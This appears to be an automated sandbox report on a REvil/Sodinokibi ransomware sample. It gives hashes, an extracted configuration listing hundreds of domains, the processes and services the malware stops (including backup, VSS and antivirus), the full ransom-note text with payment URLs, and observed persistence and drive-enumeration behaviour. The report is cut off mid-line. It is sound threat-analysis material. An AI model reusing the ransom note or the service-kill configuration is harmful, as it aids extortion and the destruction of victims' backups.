Analysis
-
max time kernel
130s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
10-03-2024 09:50
Behavioral task
behavioral1
Sample
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe
Resource
win10v2004-20240226-en
General
-
Target
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe
-
Size
123KB
-
MD5
eacf011b488ace6141225c656a7168b4
-
SHA1
bcd593ffacd351a80f87733a685296851ddf15b4
-
SHA256
ac9b52580980993676677a68e4af90ba54f0a65311916f23aad2d54b74b6fc41
-
SHA512
50fc88a20a80393ee9bf7d23e23621a89fa14f777233e1bd4c22eadc84482c99b2577ec82c572ff5b853f6c861a3061e17e71da9e04b65a39e1c05aa54f5a81a
-
SSDEEP
1536:7DvcP3LThpshwVC5OE8yNcCQp+2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOxc:y4SVnaNcCM8gnBR5uiV1UvQFOxc
Malware Config
Extracted
sodinokibi
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
4085
sandd.nl
digivod.de
southeasternacademyofprosthodontics.org
resortmtn.com
mdk-mediadesign.de
tetinfo.in
fayrecreations.com
ecpmedia.vn
physiofischer.de
highlinesouthasc.com
antenanavi.com
blog.solutionsarchitect.guru
deepsouthclothingcompany.com
coursio.com
quickyfunds.com
atmos-show.com
pawsuppetlovers.com
hokagestore.com
midmohandyman.com
mmgdouai.fr
stingraybeach.com
tandartspraktijkhartjegroningen.nl
leoben.at
licor43.de
xlarge.at
maasreusel.nl
lmtprovisions.com
destinationclients.fr
vannesteconstruct.be
ausbeverage.com.au
iyahayki.nl
goodgirlrecovery.com
aarvorg.com
wien-mitte.co.at
iviaggisonciliegie.it
mylolis.com
parks-nuernberg.de
gastsicht.de
iwr.nl
theshungiteexperience.com.au
katiekerr.co.uk
tuuliautio.fi
jeanlouissibomana.com
rosavalamedahr.com
teknoz.net
dekkinngay.com
abitur-undwieweiter.de
boisehosting.net
centrospgolega.com
tomoiyuma.com
tastewilliamsburg.com
creative-waves.co.uk
stoneys.ch
sweering.fr
maxadams.london
lascuola.nl
naturavetal.hr
nosuchthingasgovernment.com
worldhealthbasicinfo.com
digi-talents.com
thedad.com
teresianmedia.org
enovos.de
visiativ-industry.fr
hushavefritid.dk
helikoptervluchtnewyork.nl
hrabritelefon.hr
autopfand24.de
shadebarandgrillorlando.com
x-ray.ca
nmiec.com
modestmanagement.com
birnam-wood.com
farhaani.com
freie-baugutachterpraxis.de
klimt2012.info
xltyu.com
purposeadvisorsolutions.com
spinheal.ru
fitnessingbyjessica.com
geekwork.pl
igrealestate.com
solerluethi-allart.ch
tenacitytenfold.com
crosspointefellowship.church
koken-voor-baby.nl
caribbeansunpoker.com
wmiadmin.com
markelbroch.com
schlafsack-test.net
filmvideoweb.com
drfoyle.com
bsaship.com
bowengroup.com.au
ncuccr.org
ecopro-kanto.com
waynela.com
fitnessbazaar.com
global-kids.info
promesapuertorico.com
finediningweek.pl
qualitus.com
pferdebiester.de
c-a.co.in
vanswigchemdesign.com
mymoneyforex.com
basisschooldezonnewijzer.nl
denifl-consulting.at
mezhdu-delom.ru
homesdollar.com
stemplusacademy.com
naswrrg.org
myhostcloud.com
bauertree.com
365questions.org
bridgeloanslenders.com
marietteaernoudts.nl
caribdoctor.org
offroadbeasts.com
vitalyscenter.es
dutchbrewingcoffee.com
charlesreger.com
milltimber.aberdeen.sch.uk
simpliza.com
pasvenska.se
ateliergamila.com
ino-professional.ru
pier40forall.org
faizanullah.com
chaotrang.com
whittier5k.com
transportesycementoshidalgo.es
krlosdavid.com
colorofhorses.com
skiltogprint.no
sauschneider.info
hexcreatives.co
americafirstcommittee.org
blogdecachorros.com
sportsmassoren.com
celeclub.org
rushhourappliances.com
baptisttabernacle.com
rehabilitationcentersinhouston.net
falcou.fr
mooshine.com
longislandelderlaw.com
figura.team
yassir.pro
renergysolution.com
christ-michael.net
executiveairllc.com
ctrler.cn
cityorchardhtx.com
leather-factory.co.jp
kenhnoithatgo.com
mbxvii.com
ccpbroadband.com
schmalhorst.de
icpcnj.org
troegs.com
dirittosanitario.biz
lukeshepley.wordpress.com
aglend.com.au
wraithco.com
conasmanagement.de
sagadc.com
pomodori-pizzeria.de
darrenkeslerministries.com
kisplanning.com.au
wsoil.com.sg
embracinghiscall.com
makeitcount.at
odiclinic.org
bigasgrup.com
ihr-news.jp
blossombeyond50.com
boosthybrid.com.au
hotelzentral.at
operaslovakia.sk
caffeinternet.it
amerikansktgodis.se
onlybacklink.com
otsu-bon.com
rhinosfootballacademy.com
rota-installations.co.uk
dr-tremel-rednitzhembach.de
polychromelabs.com
saxtec.com
facettenreich27.de
bordercollie-nim.nl
4net.guru
navyfederalautooverseas.com
dubscollective.com
pay4essays.net
ymca-cw.org.uk
corola.es
gopackapp.com
kirkepartner.dk
unim.su
henricekupper.com
praxis-foerderdiagnostik.de
smale-opticiens.nl
eadsmurraypugh.com
qualitaetstag.de
bargningavesta.se
lenreactiv-shop.ru
fiscalsort.com
expandet.dk
oncarrot.com
manifestinglab.com
citymax-cr.com
accountancywijchen.nl
nativeformulas.com
gymnasedumanagement.com
tomaso.gr
tanciu.com
plastidip.com.ar
symphonyenvironmental.com
galleryartfair.com
commonground-stories.com
qlog.de
www1.proresult.no
antiaginghealthbenefits.com
insp.bi
saka.gr
steampluscarpetandfloors.com
alfa-stroy72.com
paymybill.guru
petnest.ir
maryloutaylor.com
memaag.com
directwindowco.com
ecoledansemulhouse.fr
stefanpasch.me
dlc.berlin
artotelamsterdam.com
vyhino-zhulebino-24.ru
whyinterestingly.ru
dareckleyministries.com
otto-bollmann.de
milsing.hr
kao.at
thefixhut.com
artige.com
groupe-frayssinet.fr
thailandholic.com
plv.media
edelman.jp
vetapharma.fr
judithjansen.com
candyhouseusa.com
tophumanservicescourses.com
forskolorna.org
maineemploymentlawyerblog.com
beautychance.se
amylendscrestview.com
portoesdofarrobo.com
zenderthelender.com
higadograsoweb.com
4youbeautysalon.com
buymedical.biz
socstrp.org
linnankellari.fi
frontierweldingllc.com
sevenadvertising.com
eglectonk.online
platformier.com
analiticapublica.es
zewatchers.com
gemeentehetkompas.nl
liikelataamo.fi
exenberger.at
garage-lecompte-rouen.fr
prochain-voyage.net
mir-na-iznanku.com
senson.fi
bouldercafe-wuppertal.de
withahmed.com
degroenetunnel.com
ouryoungminds.wordpress.com
echtveilig.nl
nijaplay.com
marchand-sloboda.com
besttechie.com
ontrailsandboulevards.com
smhydro.com.pl
ahouseforlease.com
zso-mannheim.de
ikads.org
puertamatic.es
logopaedie-blomberg.de
hellohope.com
jbbjw.com
celularity.com
thaysa.com
mediaplayertest.net
parebrise-tla.fr
stoeberstuuv.de
sarbatkhalsafoundation.org
dutchcoder.nl
boldcitydowntown.com
harveybp.com
trapiantofue.it
mikeramirezcpa.com
advokathuset.dk
jsfg.com
cafemattmeera.com
ncid.bc.ca
porno-gringo.com
ventti.com.ar
oemands.dk
you-bysia.com.au
rimborsobancario.net
associationanalytics.com
maureenbreezedancetheater.org
simpkinsedwards.co.uk
malychanieruchomoscipremium.com
gw2guilds.org
ora-it.de
walter-lemm.de
tsklogistik.eu
jameskibbie.com
1kbk.com.ua
friendsandbrgrs.com
victoriousfestival.co.uk
familypark40.com
fotoscondron.com
ceres.org.au
galserwis.pl
latribuessentielle.com
coastalbridgeadvisors.com
innote.fi
cirugiauretra.es
vox-surveys.com
charlottepoudroux-photographie.fr
real-estate-experts.com
bingonearme.org
ftf.or.at
iwelt.de
waveneyrivercentre.co.uk
sla-paris.com
courteney-cox.net
almosthomedogrescue.dog
zzyjtsgls.com
tulsawaterheaterinstallation.com
roygolden.com
satyayoga.de
muamuadolls.com
igorbarbosa.com
all-turtles.com
onlyresultsmarketing.com
jiloc.com
geoffreymeuli.com
greenpark.ch
i-trust.dk
kindersitze-vergleich.de
stemenstilte.nl
bastutunnan.se
daniel-akermann-architektur-und-planung.ch
bundabergeyeclinic.com.au
adultgamezone.com
greenfieldoptimaldentalcare.com
stacyloeb.com
bestbet.com
tigsltd.com
ledmes.ru
personalenhancementcenter.com
body-armour.online
hhcourier.com
bodyforwife.com
alysonhoward.com
luckypatcher-apkz.com
fannmedias.com
villa-marrakesch.de
vesinhnha.com.vn
bradynursery.com
bildungsunderlebnis.haus
nvwoodwerks.com
dramagickcom.wordpress.com
zimmerei-deboer.de
systemate.dk
crediacces.com
tinyagency.com
launchhubl.com
videomarketing.pro
shiftinspiration.com
bouquet-de-roses.com
retroearthstudio.com
teczowadolina.bytom.pl
xn--vrftet-pua.biz
alvinschwartz.wordpress.com
bouncingbonanza.com
dezatec.es
kedak.de
campus2day.de
proudground.org
mountaintoptinyhomes.com
zervicethai.co.th
herbstfeststaefa.ch
mindpackstudios.com
kidbucketlist.com.au
liveottelut.com
vickiegrayimages.com
serce.info.pl
humancondition.com
calabasasdigest.com
schoellhammer.com
kalkulator-oszczednosci.pl
newstap.com.ng
cite4me.org
lusak.at
interactcenter.org
nancy-informatique.fr
behavioralmedicinespecialists.com
takeflat.com
houseofplus.com
hihaho.com
kadesignandbuild.co.uk
eraorastudio.com
creamery201.com
tecnojobsnet.com
sotsioloogia.ee
femxarxa.cat
collaborativeclassroom.org
1team.es
smart-light.co.uk
12starhd.online
slashdb.com
unetica.fr
noesis.tech
oneheartwarriors.at
strategicstatements.com
gporf.fr
selfoutlet.com
wacochamber.com
pridoxmaterieel.nl
tux-espacios.com
tongdaifpthaiphong.net
hairstylesnow.site
pointos.com
sanaia.com
hugoversichert.de
mardenherefordshire-pc.gov.uk
geisterradler.de
sanyue119.com
ravensnesthomegoods.com
daklesa.de
seitzdruck.com
globedivers.wordpress.com
mank.de
bierensgebakkramen.nl
jorgobe.at
brigitte-erler.com
shiresresidential.com
blood-sports.net
asiluxury.com
fatfreezingmachines.com
pasivect.co.uk
kaotikkustomz.com
ai-spt.jp
webmaster-peloton.com
work2live.de
coffreo.biz
id-vet.com
cranleighscoutgroup.org
conexa4papers.trade
kunze-immobilien.de
simplyblessedbykeepingitreal.com
slimidealherbal.com
fitovitaforum.com
deschl.net
actecfoundation.org
edgewoodestates.org
milanonotai.it
botanicinnovations.com
despedidascostablanca.es
krcove-zily.eu
samnewbyjax.com
danholzmann.com
aselbermachen.com
funjose.org.gt
restaurantesszimmer.de
julis-lsa.de
smalltownideamill.wordpress.com
35-40konkatsu.net
better.town
lange.host
mepavex.nl
thomasvicino.com
saarland-thermen-resort.com
blgr.be
quizzingbee.com
chandlerpd.com
morawe-krueger.de
bimnapratica.com
jacquin-maquettes.com
manijaipur.com
smejump.co.th
edv-live.de
mrxermon.de
michaelsmeriglioracing.com
kissit.ca
waywithwords.net
monark.com
truenyc.co
socialonemedia.com
alhashem.net
slupetzky.at
faronics.com
foryourhealth.live
biapi-coaching.fr
ki-lowroermond.nl
zflas.com
centromarysalud.com
spectrmash.ru
pt-arnold.de
andersongilmour.co.uk
xtptrack.com
fotoideaymedia.es
rostoncastings.co.uk
kikedeoliveira.com
nsec.se
grupocarvalhoerodrigues.com.br
epwritescom.wordpress.com
huissier-creteil.com
bptdmaluku.com
gasbarre.com
durganews.com
smessier.com
psnacademy.in
strandcampingdoonbeg.com
chrissieperry.com
nakupunafoundation.org
bigbaguettes.eu
nhadatcanho247.com
argos.wityu.fund
makeurvoiceheard.com
architekturbuero-wagner.net
devlaur.com
transliminaltribe.wordpress.com
antonmack.de
tandartspraktijkheesch.nl
jvanvlietdichter.nl
devstyle.org
zweerscreatives.nl
camsadviser.com
tips.technology
stupbratt.no
partnertaxi.sk
philippedebroca.com
ladelirante.fr
gmto.fr
dw-css.de
verifort-capital.de
dubnew.com
newyou.at
paradicepacks.com
shhealthlaw.com
evergreen-fishing.com
naturstein-hotte.de
cactusthebrand.com
mirjamholleman.nl
autodujos.lt
spd-ehningen.de
liliesandbeauties.org
aniblinova.wordpress.com
div-vertriebsforschung.de
mylovelybluesky.com
nuzech.com
outcomeisincome.com
abogadoengijon.es
projetlyonturin.fr
myteamgenius.com
stampagrafica.es
cuppacap.com
fundaciongregal.org
mdacares.com
summitmarketingstrategies.com
vitavia.lt
ogdenvision.com
fransespiegels.nl
cwsitservices.co.uk
dinslips.se
lloydconstruction.com
turkcaparbariatrics.com
calxplus.eu
ra-staudte.de
sojamindbody.com
knowledgemuseumbd.com
pivoineetc.fr
reddysbakery.com
kampotpepper.gives
softsproductkey.com
abogados-en-alicante.es
extraordinaryoutdoors.com
pcprofessor.com
ausair.com.au
xn--logopdie-leverkusen-kwb.de
labobit.it
cerebralforce.net
naturalrapids.com
pv-design.de
bigler-hrconsulting.ch
space.ua
aunexis.ch
answerstest.ru
effortlesspromo.com
piajeppesen.dk
carriagehousesalonvt.com
airconditioning-waalwijk.nl
kojinsaisei.info
simoneblum.de
solhaug.tk
tarotdeseidel.com
herbayupro.com
poultrypartners.nl
homng.net
lillegrandpalais.com
euro-trend.pl
marathonerpaolo.com
simulatebrain.com
hmsdanmark.dk
first-2-aid-u.com
rollingrockcolumbia.com
beyondmarcomdotcom.wordpress.com
ulyssemarketing.com
carlosja.com
sinal.org
crowd-patch.co.uk
ralister.co.uk
tonelektro.nl
xn--fnsterputssollentuna-39b.se
leda-ukraine.com.ua
jyzdesign.com
miraclediet.fun
madinblack.com
notsilentmd.org
thedresserie.com
musictreehouse.net
roadwarrior.app
homecomingstudio.com
xn--rumung-bua.online
backstreetpub.com
themadbotter.com
stoeferlehalle.de
thewellnessmimi.com
lynsayshepherd.co.uk
podsosnami.ru
mrtour.site
bloggyboulga.net
tanzprojekt.com
commercialboatbuilding.com
testzandbakmetmening.online
mastertechengineering.com
grelot-home.com
shonacox.com
filmstreamingvfcomplet.be
kostenlose-webcams.com
sipstroysochi.ru
international-sound-awards.com
hkr-reise.de
321play.com.hk
bodyfulls.com
punchbaby.com
officehymy.com
arteservicefabbro.com
sw1m.ru
kingfamily.construction
assurancesalextrespaille.fr
siliconbeach-realestate.com
tennisclubetten.nl
jobcenterkenya.com
chavesdoareeiro.com
mirkoreisser.de
latestmodsapks.com
gantungankunciakrilikbandung.com
groupe-cets.com
clos-galant.com
mercantedifiori.com
corendonhotels.com
gaiam.nl
pocket-opera.de
oldschoolfun.net
lykkeliv.net
haar-spange.com
vdberg-autoimport.nl
dr-seleznev.com
lescomtesdemean.be
werkkring.nl
theclubms.com
modamilyon.com
pogypneu.sk
happyeasterimages.org
binder-buerotechnik.at
kojima-shihou.com
yousay.site
huehnerauge-entfernen.de
sterlingessay.com
pmc-services.de
klusbeter.nl
greenko.pl
polymedia.dk
streamerzradio1.site
chatizel-paysage.fr
readberserk.com
joseconstela.com
dr-pipi.de
promalaga.es
biortaggivaldelsa.com
croftprecision.co.uk
cheminpsy.fr
christinarebuffetcourses.com
joyeriaorindia.com
iqbalscientific.com
diversiapsicologia.es
abl1.net
modelmaking.nl
shsthepapercut.com
i-arslan.de
loprus.pl
blumenhof-wegleitner.at
datacenters-in-europe.com
aminaboutique247.com
aakritpatel.com
parkstreetauto.net
glennroberts.co.nz
centuryrs.com
smokeysstoves.com
syndikat-asphaltfieber.de
acomprarseguidores.com
love30-chanko.com
theduke.de
mediaacademy-iraq.org
wurmpower.at
verbisonline.com
uranus.nl
tradiematepro.com.au
lefumetdesdombes.com
easytrans.com.au
jenniferandersonwriter.com
controldekk.com
vloeren-nu.nl
gonzalezfornes.es
tampaallen.com
hotelsolbh.com.br
slwgs.org
live-your-life.jp
abogadosadomicilio.es
vihannesporssi.fi
jadwalbolanet.info
evangelische-pfarrgemeinde-tuniberg.de
ditog.fr
gasolspecialisten.se
gratispresent.se
securityfmm.com
irinaverwer.com
baumkuchenexpo.jp
katketytaanet.fi
psc.de
myzk.site
aprepol.com
levdittliv.se
milestoneshows.com
hvccfloorcare.com
atozdistribution.co.uk
jasonbaileystudio.com
lucidinvestbank.com
kaminscy.com
ftlc.es
narcert.com
ilcdover.com
balticdermatology.lt
parkcf.nl
advizewealth.com
completeweddingkansas.com
web.ion.ag
siluet-decor.ru
noixdecocom.fr
mooreslawngarden.com
live-con-arte.de
smithmediastrategies.com
burkert-ideenreich.de
drugdevice.org
appsformacpc.com
nachhilfe-unterricht.com
berlin-bamboo-bikes.org
coding-machine.com
dublikator.com
lebellevue.fr
art2gointerieurprojecten.nl
spargel-kochen.de
mousepad-direkt.de
hypozentrum.com
lorenacarnero.com
consultaractadenacimiento.com
zonamovie21.net
penco.ie
norpol-yachting.com
imadarchid.com
olejack.ru
compliancesolutionsstrategies.com
y-archive.com
ruralarcoiris.com
notmissingout.com
babcockchurch.org
entopic.com
spacecitysisters.org
campusoutreach.org
xoabigail.com
drnice.de
oneplusresource.org
wasmachtmeinfonds.at
101gowrie.com
bhwlawfirm.com
gamesboard.info
ligiercenter-sachsen.de
testcoreprohealthuk.com
solinegraphic.com
pcp-nc.com
tstaffing.nl
irishmachineryauctions.com
plotlinecreative.com
cnoia.org
xn--fn-kka.no
montrium.com
devok.info
mapawood.com
evologic-technologies.com
ostheimer.at
bristolaeroclub.co.uk
elimchan.com
csgospeltips.se
lightair.com
lubetkinmediacompanies.com
rumahminangberdaya.com
theapifactory.com
flexicloud.hk
micro-automation.de
htchorst.nl
profectis.de
wellplast.se
zimmerei-fl.de
cursosgratuitosnainternet.com
stopilhan.com
haremnick.com
walkingdeadnj.com
yourobgyn.net
oslomf.no
hairnetty.wordpress.com
mountsoul.de
baronloan.org
associacioesportivapolitg.cat
sachnendoc.com
bee4win.com
insigniapmg.com
perbudget.com
carolinepenn.com
miriamgrimm.de
romeguidedvisit.com
mooglee.com
connectedace.com
mrsplans.net
ussmontanacommittee.us
sabel-bf.com
wolf-glas-und-kunst.de
insidegarage.pl
thomas-hospital.de
journeybacktolife.com
bbsmobler.se
drinkseed.com
comarenterprises.com
kariokids.com
fensterbau-ziegler.de
intecwi.com
westdeptfordbuyrite.com
tanzschule-kieber.de
sexandfessenjoon.wordpress.com
fax-payday-loans.com
schraven.de
crowcanyon.com
imperfectstore.com
comparatif-lave-linge.fr
allure-cosmetics.at
erstatningsadvokaterne.dk
levihotelspa.fi
firstpaymentservices.com
microcirc.net
rocketccw.com
8449nohate.org
classycurtainsltd.co.uk
kaliber.co.jp
schoolofpassivewealth.com
chefdays.de
lecantou-coworking.com
asgestion.com
uimaan.fi
lionware.de
buroludo.nl
eco-southafrica.com
darnallwellbeing.org.uk
sportverein-tambach.de
layrshift.eu
koko-nora.dk
juneauopioidworkgroup.org
seevilla-dr-sturm.at
wychowanieprzedszkolne.pl
bookspeopleplaces.com
people-biz.com
berliner-versicherungsvergleich.de
forestlakeuca.org.au
refluxreducer.com
jandaonline.com
kuntokeskusrok.fi
webhostingsrbija.rs
nacktfalter.de
elpa.se
aco-media.nl
esope-formation.fr
pierrehale.com
importardechina.info
pixelarttees.com
cimanchesterescorts.co.uk
baylegacy.com
boompinoy.com
cuspdental.com
nurturingwisdom.com
kevinjodea.com
mediaclan.info
cortec-neuro.com
supportsumba.nl
heurigen-bauer.at
triggi.de
delchacay.com.ar
heidelbergartstudio.gallery
fibrofolliculoma.info
mariposapropaneaz.com
autodemontagenijmegen.nl
craftleathermnl.com
2ekeus.nl
heliomotion.com
verytycs.com
dpo-as-a-service.com
parking.netgateway.eu
talentwunder.com
craigmccabe.fun
broseller.com
lachofikschiet.nl
desert-trails.com
ceid.info.tr
deltacleta.cat
highimpactoutdoors.net
iphoneszervizbudapest.hu
helenekowalsky.com
marketingsulweb.com
ampisolabergeggi.it
maratonaclubedeportugal.com
baustb.de
theletter.company
toreria.es
nandistribution.nl
asteriag.com
spylista.com
surespark.org.uk
admos-gleitlager.de
financescorecard.com
wari.com.pe
c2e-poitiers.com
run4study.com
rozemondcoaching.nl
dnepr-beskid.com.ua
blewback.com
ivfminiua.com
bayoga.co.uk
twohourswithlena.wordpress.com
new.devon.gov.uk
vancouver-print.ca
sobreholanda.com
vietlawconsultancy.com
anteniti.com
marcuswhitten.site
humanityplus.org
meusharklinithome.wordpress.com
corelifenutrition.com
xn--singlebrsen-vergleich-nec.com
cursoporcelanatoliquido.online
psa-sec.de
catholicmusicfest.com
bafuncs.org
jobmap.at
seminoc.com
itelagen.com
slimani.net
jolly-events.com
stallbyggen.se
vibethink.net
n1-headache.com
limassoldriving.com
artallnightdc.com
argenblogs.com.ar
ilive.lt
ivivo.es
anybookreader.de
trackyourconstruction.com
dsl-ip.de
allfortheloveofyou.com
mrsfieldskc.com
jakekozmor.com
nicoleaeschbachorg.wordpress.com
sportiomsportfondsen.nl
upplandsspar.se
aodaichandung.com
extensionmaison.info
precisionbevel.com
agence-referencement-naturel-geneve.net
pickanose.com
polzine.net
suncrestcabinets.ca
hashkasolutindo.com
woodleyacademy.org
manutouchmassage.com
nestor-swiss.ch
schutting-info.nl
micahkoleoso.de
abuelos.com
quemargrasa.net
handi-jack-llc.com
austinlchurch.com
employeesurveys.com
waermetauscher-berechnen.de
lapmangfpt.info.vn
triactis.com
norovirus-ratgeber.de
balticdentists.com
toponlinecasinosuk.co.uk
castillobalduz.es
jerling.de
rebeccarisher.com
no-plans.com
body-guards.it
imaginado.de
songunceliptv.com
educar.org
sairaku.net
bxdf.info
urist-bogatyr.ru
luxurytv.jp
yamalevents.com
mytechnoway.com
vorotauu.ru
travelffeine.com
agence-chocolat-noir.com
allentownpapershow.com
mbfagency.com
d1franchise.com
littlebird.salon
brevitempore.net
danielblum.info
harpershologram.wordpress.com
hardinggroup.com
augenta.com
kath-kirche-gera.de
seproc.hn
aurum-juweliere.de
stormwall.se
sahalstore.com
smartypractice.com
xn--thucmctc-13a1357egba.com
justinvieira.com
DupontSellsHomes.com
the-virtualizer.com
thenewrejuveme.com
urmasiimariiuniri.ro
rerekatu.com
rieed.de
delawarecorporatelaw.com
finde-deine-marke.de
team-montage.dk
huesges-gruppe.de
izzi360.com
bricotienda.com
hoteledenpadova.it
edrcreditservices.nl
abogadosaccidentetraficosevilla.es
noskierrenteria.com
havecamerawilltravel2017.wordpress.com
cleliaekiko.online
radaradvies.nl
skanah.com
fairfriends18.de
seagatesthreecharters.com
rksbusiness.com
patrickfoundation.net
presseclub-magdeburg.de
copystar.co.uk
pelorus.group
hebkft.hu
kamahouse.net
opatrovanie-ako.sk
nokesvilledentistry.com
kosterra.com
danubecloud.com
foretprivee.ca
ohidesign.com
minipara.com
hiddencitysecrets.com.au
deoudedorpskernnoordwijk.nl
healthyyworkout.com
winrace.no
iyengaryogacharlotte.com
dushka.ua
servicegsm.net
moveonnews.com
richard-felix.co.uk
deko4you.at
anthonystreetrimming.com
apprendrelaudit.com
tinkoff-mobayl.ru
carrybrands.nl
em-gmbh.ch
plantag.de
faroairporttransfers.net
lichencafe.com
ncs-graphic-studio.com
starsarecircular.org
ungsvenskarna.se
braffinjurylawfirm.com
merzi.info
gadgetedges.com
fizzl.ru
hannah-fink.de
atalent.fi
rafaut.com
kmbshipping.co.uk
panelsandwichmadrid.es
planchaavapor.net
kafu.ch
girlillamarketing.com
sporthamper.com
123vrachi.ru
brawnmediany.com
myhealth.net.au
revezlimage.com
zieglerbrothers.de
apolomarcas.com
upmrkt.co
ziegler-praezisionsteile.de
the-domain-trader.com
dontpassthepepper.com
pubweb.carnet.hr
theadventureedge.com
adoptioperheet.fi
pinkexcel.com
sloverse.com
denovofoodsgroup.com
osterberg.fi
d2marketing.co.uk
lapinvihreat.fi
jusibe.com
alsace-first.com
todocaracoles.com
igfap.com
instatron.net
macabaneaupaysflechois.com
danskretursystem.dk
scenepublique.net
idemblogs.com
bogdanpeptine.ro
veybachcenter.de
autofolierung-lu.de
praxis-management-plus.de
hatech.io
smogathon.com
pmcimpact.com
eaglemeetstiger.de
lbcframingelectrical.com
cyntox.com
boulderwelt-muenchen-west.de
blacksirius.de
trystana.com
thee.network
id-et-d.fr
peterstrobos.com
neuschelectrical.co.za
leeuwardenstudentcity.nl
oceanastudios.com
vibehouse.rw
remcakram.com
nataschawessels.com
makeflowers.ru
trulynolen.co.uk
phantastyk.com
bunburyfreightservices.com.au
woodworkersolution.com
coding-marking.com
bargningharnosand.se
synlab.lt
webcodingstudio.com
spsshomeworkhelp.com
beaconhealthsystem.org
raschlosser.de
alten-mebel63.ru
lapinlviasennus.fi
kamienny-dywan24.pl
brandl-blumen.de
corona-handles.com
vermoote.de
karacaoglu.nl
bockamp.com
ianaswanson.com
torgbodenbollnas.se
urclan.net
deprobatehelp.com
allamatberedare.se
freie-gewerkschaften.de
johnsonfamilyfarmblog.wordpress.com
craigvalentineacademy.com
sofavietxinh.com
architecturalfiberglass.org
ilso.net
paulisdogshop.de
-
net
true
-
pid
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
-
prc
sqbcoreservice
dbsnmp
mydesktopservice
outlook
ocomm
excel
mydesktopqos
isqlplussvc
onenote
tbirdconfig
msaccess
encsvc
infopath
steam
thebat
agntsvc
sql
visio
wordpad
winword
dbeng50
powerpnt
firefox
xfssvccon
mspub
oracle
thunderbird
ocssd
synctime
ocautoupds
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
4085
-
svc
memtas
mepocs
backup
sophos
sql
svc$
veeam
vss
Extracted
C:\Users\1ik699-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/36157C8A92733831
http://decryptor.cc/36157C8A92733831
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DNXeNcyLON = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe" 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exedescription ioc process File opened (read-only) \??\N: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\U: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\X: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\A: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\L: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\M: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\H: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\V: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\G: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\D: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\F: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\E: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\O: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\T: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\R: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\Y: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\Z: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\J: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\P: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\Q: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\I: 2024-03-10_eacf011b488ace6141225c656a7168b4_revil.exe File opened (read-only) \??\K: 